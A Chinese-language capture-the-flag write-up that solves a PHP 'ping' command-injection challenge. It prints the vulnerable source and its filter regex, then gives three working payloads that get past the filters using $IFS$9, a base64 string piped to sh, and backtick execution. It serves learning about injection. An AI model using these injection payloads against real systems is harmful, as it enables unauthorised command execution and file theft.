前言
- 我感觉我是一个假的理工科生,假的计算机相关专业学生,完全没有该有的样子
- 这题有点东西,不算太水。只是对我来说。
读题
- 题目是Ping,打开也没有内容,就一个get传参的ip变量
- 不过看到ip和ping就容易联想到,终端
ping
命令。 - 先尝试传入一个
ip=127.0.0.1
,于是乎出现了如下,在终端下执行的效果就是这样,命令执行石锤了。
- 所以,利用拼接符在ping命令后添加我们需要的命令即可。所以可以用拼接符
& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’
| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l
|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”
; 分号表示命令依次执行。
- 首先尝试了
&&
但居然没有回显,很奇怪,理论上ping 1270.0.0.1&&ls
(为啥是ls命令?拿flag总得知道它在哪吧)应该是可以的,但不知道为什么,还有就是输入无法ping通的ip也是一样的回显,可能是因为这是假ping吧,前面没成功,所以后面不执行 - 然后尝试用
|
回显得知 index.php 和 flag.php
- 尝试用cat命令读取flag.php,提示有空格,空格被过滤了
- 于是我去百度了命令执行空格绕过,参考这篇文章
- 但尝试发现,不仅空格被禁了,像
{
、<
、%
也被禁了但是$IFS$9能用,不过提示flag也被过滤了。 - 加一点为什么用$IFS不行,因为用 $IFS的话,会认为解析没结束,会把后面的也当做参数解析,而 $IFS$9的话,结束了 $IFS 后加上了一个不存在或者说空字符串的变量。所以解析为空,但结束了 $IFS正常执行后面的内容
- 所以先尝试读index.php ,得到源码,发现了过滤规则。
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);//-c 是ping命令的一个参数,意思是发送四次数据包
echo "
";
print_r($a);
}
?>
- 猜测flag在flag.php里,所以我们需要绕过正则读取flag.php。
- 网上发现三种绕过方法
解题
方法一、变量拼接字符串
- 使用变量拼接字符串,比如这样
- 所以我们可以拼接一个flag
b=ag.php;a=fl;cat$IFS$9$a$b
//为什么要反过来?flag匹配时中间有内容也会被匹配。
//表达式 .* 就是单个字符匹配任意次,即贪婪匹配。以这个表达式为例:a.*b,它将会匹配最长的以a开始,以b结束的字符串。如果用它来搜索aabab的话,它会匹配整个字符串aabab。这被称为贪婪匹配
-
所以构建payload
?id=127.0.0.1;b=ag.php;a=fl;cat$IFS$9$a$b
-
成功拿到flag,太坑了,flag居然还在注释里,没回显我还以为失败了呢。
方法二、sh命令来执行
- 有一说一,我在 bash、sh 和 shell 之间很迷。我的理解 sh 和 bash 是执行shell命令的不同方法。
- 使用 base64 编码的方式来绕过 flag 过滤。
- 加密命令
echo “cat flag.php” | base64
- 解密命令并执行
echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
-
然后用$IFS$9代替空格。构造payload
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
-
一样拿到flag
方法三、内联执行
-
反引号在linux中作为内联执行,执行输出结果。也就是说
cat `ls` //执行ls输出 index.php 和 flag.php 。然后再执行 cat index.php;cat flag.php
-
所以可以构造payload
?ip=127.0.0.1;cat$IFS$9`ls`
-
得到flag,可以看见两个php文件都有显示
-
这个确实厉害